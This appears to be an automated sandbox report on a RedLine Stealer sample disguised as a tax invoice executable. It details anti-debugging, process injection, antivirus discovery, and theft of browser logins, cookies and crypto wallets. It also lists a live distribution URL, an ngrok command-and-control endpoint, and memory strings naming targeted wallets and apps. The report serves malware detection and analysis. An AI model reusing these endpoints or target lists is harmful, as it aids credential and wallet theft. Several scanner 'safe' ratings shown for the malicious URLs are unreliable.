WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356527005.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: wget.exe, 00000002.00000002.245363961.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllss

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Code function: 4_2_00D1CB68 CheckRemoteDebuggerPresent,

4_2_00D1CB68

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Code function: 4_2_00D14410 LdrInitializeThunk,

4_2_00D14410

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Memory written: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Process created: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wget.exe	Queries volume information: C:\Users\user\Desktop\download VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.362627740.00000000063CF000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000003.347746695.0000000006394000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254550388.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.356108749.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.250706107.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254084166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6716, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: l1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\wallets
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: l5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254550388.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.356108749.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.250706107.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254084166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6716, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254550388.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.356108749.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.250706107.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.254084166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6716, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	Path Interception	111 Process Injection	1 Masquerading	1 OS Credential Dumping	541 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	13 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Software Packing	Cached Domain Credentials	123 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe	4%	Virustotal		Browse
http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	55%	ReversingLabs	Win32.Trojan.Woreflint

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1234943	Download File
6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1234943	Download File
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1234943	Download File
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1234943	Download File
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1234943	Download File
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1234943	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://service.r	0%	URL Reputation	safe
http://2.tcp.eu.ngrok.io:1	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironmentme	0%	Avira URL Cloud	safe
http://tempuri.org/t_	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdates	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	URL Reputation	safe
http://tempuri.org/0	0%	URL Reputation	safe
http://support.a	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://helpx.ad	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnect	0%	URL Reputation	safe
http://2.tcp.eu.ngrok.io:17685	3%	Virustotal		Browse
http://2.tcp.eu.ngrok.io:17685	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnviron	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://2.tcp.eu.ngrok.io	1%	Virustotal		Browse
http://2.tcp.eu.ngrok.io	0%	Avira URL Cloud	safe
http://forms.rea	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	URL Reputation	safe
http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_T	0%	Avira URL Cloud	safe
http://2.tcp.eu.ngrok.io:17685/	0%	Avira URL Cloud	safe
http://2.tcp.eu.ngrok.io:176854	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.sdrclm.cn	47.105.225.69	true	false	unknown
2.tcp.eu.ngrok.io	18.156.13.209	true	true	unknown
api.ip.sb	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe	true		unknown
http://2.tcp.eu.ngrok.io:17685/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
